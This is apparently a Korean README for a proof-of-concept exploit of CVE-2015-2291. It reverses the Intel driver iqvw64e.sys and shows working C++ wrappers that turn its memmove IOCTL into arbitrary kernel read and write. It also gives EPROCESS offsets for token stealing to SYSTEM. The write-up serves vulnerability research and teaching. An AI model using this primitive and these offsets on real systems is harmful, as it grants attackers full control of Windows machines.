
CVE-2015-2291 Local Privilege Escalation PoC
CVE-2015-2291 로컬 권한 상승 PoC

이 프로젝트는 드라이버 iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — 즉 CVE-2015-2291과 관련된 Intel 이더넷 진단 드라이버 — 의 로컬 권한 상승(LPE) 취약점에 대한 교육용 개념 증명(PoC)입니다.
KDMapper 같은 커널 모드 로더에서 이 드라이버가 악용되는 것을 본 후, IOCTL 디스패치가 어떻게 동작하는지, 사용자 모드에 어떤 함수들을 노출하는지, 그리고 공격자가 이를 어떻게 발견하거나 활용할 수 있는지를 이해하기 위해 직접 리버싱하기로 했습니다. 이 글에서는 정적 분석부터 DeviceIoControl을 사용한 메모리 프리미티브 구축, 그리고 그 프리미티브를 악용하여 현재 프로세스의 액세스 토큰을 SYSTEM 프로세스 토큰으로 교체함으로써 프로세스를 SYSTEM 권한으로 상승시키는 익스플로잇을 만드는 과정을 설명합니다.
Windows에서 각 프로세스는 자신의 ID와 권한을 정의하는 액세스 토큰과 연결됩니다. 임의의 커널 읽기/쓰기를 획득하면 커널의 프로세스 구조에 저장된 토큰 포인터를 수정할 수 있습니다. 이 포인터를 SYSTEM 프로세스의 것으로 교체하면 OS는 현재 프로세스를 SYSTEM의 보안 컨텍스트와 연결하여 완전한 권한을 부여합니다. 자세한 내용은 여기를 참조하세요.
이 드라이버는 IRP_MJ_DEVICE_CONTROL에 대한 디스패치 루틴을 등록하며, 사용자 모드의 DeviceIoControl 호출을 처리합니다. 아래와 같이 sub_11150로 이어지며, 입력 IO 제어 코드에 따라 코드 흐름을 제어합니다. 이 경우 0x80862007에 관심이 있으며, 이는 loc_111C2로 이동합니다.

loc_111C2를 따라 제어 흐름을 추적하면 sub_113C0에 도달합니다. 이 함수는 입력 버퍼(a1)를 받아 해당 버퍼의 첫 번째 QWORD를 내부 핸들러 함수의 점프 테이블 인덱스로 사용합니다. 드라이버는 다음과 같이 동작합니다:
a1 → 첫 번째 QWORD(0x0) → jump_table_index 읽기
이 인덱스를 기반으로 분기
해당하는 내부 함수로 디스패치
a1의 나머지 필드를 인자로 사용
이제 입력 버퍼가 디스패치 대상과 그 파라미터를 모두 제어한다는 것을 알았습니다. 분석을 계속하면서 입력 버퍼 구조를 더 정의하겠습니다.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmove 프리미티브 식별점프 테이블 케이스들을 분석하면서 memmove나 memcpy와 유사한 핸들러를 찾았습니다. case 0x33에서 드라이버는 sub_11EA0를 호출하며 입력 버퍼의 세 필드를 전달합니다. 이는 강력히 메모리 복사와 유사합니다:

sub_11EA0를 열어보면 예상되는 시그니처를 찾을 수 있습니다:
void* memmove( void* dest, const void* src, std::size_t count );
디스어셈블리는 다음을 확인합니다:
인자 a1 = destination
인자 a2 = source
인자 a3 = length

이 정보를 통해 memmove 호출에 필요한 입력 버퍼 레이아웃을 완전히 재구성할 수 있습니다:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
이제 유효한 MEMMOVE_INPUT_BUFFER를 드라이버에 전송하여:
jump_table_index = 0x33
source, destination, length를 필요에 따라 설정
하면 드라이버가 임의 주소에 대해 memmove를 호출하도록 지시하여 사용자 모드에서 완전한 커널 메모리 읽기/쓰기 능력을 얻을 수 있습니다.
다음은 이 프리미티브를 기반으로 구축된 사용자 모드 래퍼입니다:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
이러한 도우미 함수를 통해 커널 가상 메모리에 대한 임의의 64비트 읽기 및 쓰기가 가능해집니다. 이 시점에서 다양한 공격이 가능해지지만(예: EPROCESS 토큰 도용), 이 글은 재구성 및 분석에 초점을 맞춥니다. main.cpp에는 Eap2468의 CVE-2021-2155를 참고한 PoC EPROCESS 토큰 도용 익스플로잇이 포함되어 있습니다.
Windows 버전: 10 x64 22H2 (19045.6466)
EPROCESS 오프셋:
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8드라이버: iqvw64e.sys (드라이버 바이너리는 편의를 위해 레포지토리에 포함되어 있습니다)
SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
